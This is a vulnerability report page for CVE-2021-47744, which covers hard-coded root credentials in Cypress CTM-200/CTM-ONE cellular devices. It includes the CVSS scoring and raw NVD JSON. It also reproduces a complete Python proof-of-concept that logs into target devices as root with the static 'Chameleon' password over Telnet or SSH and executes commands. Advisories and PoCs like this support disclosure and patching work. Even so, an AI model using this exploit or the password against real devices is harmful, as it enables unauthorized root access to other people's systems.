Security Vulnerability Report
中文
CVE-2021-47744 CVSS 7.5 HIGH

CVE-2021-47744

Published: 2025-12-31 19:15:43
Last Modified: 2026-04-15 00:35:42

Description

Cypress Solutions CTM-200/CTM-ONE 1.3.6 contains hard-coded credentials vulnerability in Linux distribution that exposes root access. Attackers can exploit the static 'Chameleon' password to gain remote root access via Telnet or SSH on affected devices.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Cypress Solutions CTM-200 < 1.3.6
Cypress Solutions CTM-ONE < 1.3.6
Cypress Solutions CTM-200 = 1.3.6
Cypress Solutions CTM-ONE = 1.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2021-47744 PoC - Cypress CTM Hardcoded Credentials Description: Exploits hardcoded 'Chameleon' password in Cypress CTM-200/CTM-ONE devices Author: Security Researcher Reference: https://www.exploit-db.com/exploits/50407 """ import socket import sys import paramiko from paramiko import SSHClient, AutoAddPolicy def check_telnet_vulnerability(target_ip, target_port=23): """Check if target is vulnerable via Telnet""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Wait for login prompt import time time.sleep(2) response = sock.recv(1024).decode('utf-8', errors='ignore') print(f"[+] Telnet banner received: {response.strip()}") # Send username sock.send(b"root\n") time.sleep(1) # Send hardcoded password 'Chameleon' sock.send(b"Chameleon\n") time.sleep(2) response = sock.recv(2048).decode('utf-8', errors='ignore') if "#" in response or "$" in response or "login" not in response.lower(): print(f"[!] VULNERABLE: Authentication successful via Telnet!") print(f"[+] Received response: {response.strip()}") return True else: print(f"[-] Not vulnerable via Telnet") return False except Exception as e: print(f"[-] Telnet check failed: {e}") return False finally: sock.close() def check_ssh_vulnerability(target_ip, target_port=22): """Check if target is vulnerable via SSH""" try: client = SSHClient() client.set_missing_host_key_policy(AutoAddPolicy()) # Attempt login with hardcoded credentials client.connect( hostname=target_ip, port=target_port, username='root', password='Chameleon', timeout=10, allow_agent=False, look_for_keys=False ) print(f"[!] VULNERABLE: Authentication successful via SSH!") # Execute test command stdin, stdout, stderr = client.exec_command('whoami;id;hostname') print(f"[+] Command output: {stdout.read().decode()}") client.close() return True except paramiko.AuthenticationException: print(f"[-] Not vulnerable via SSH (authentication failed)") return False except Exception as e: print(f"[-] SSH check failed: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2021-47744.py <target_ip> [port]") print("Example: python cve-2021-47744.py 192.168.1.100") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else None print(f"[*] Testing CVE-2021-47744 on {target}") print("=" * 50) if port: if port == 23: check_telnet_vulnerability(target, port) elif port == 22: check_ssh_vulnerability(target, port) else: # Test both services print("[*] Testing Telnet (port 23)...") check_telnet_vulnerability(target, 23) print("\n[*] Testing SSH (port 22)...") check_ssh_vulnerability(target, 22) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47744", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:42.823", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cypress Solutions CTM-200/CTM-ONE 1.3.6 contains hard-coded credentials vulnerability in Linux distribution that exposes root access. Attackers can exploit the static 'Chameleon' password to gain remote root access via Telnet or SSH on affected devices."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://www.cypress.bc.ca", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50407", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/cypress-solutions-ctm-ctm-one-hard-coded-credentials-remote-root", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5686.php", "source": "[email protected]"}]}}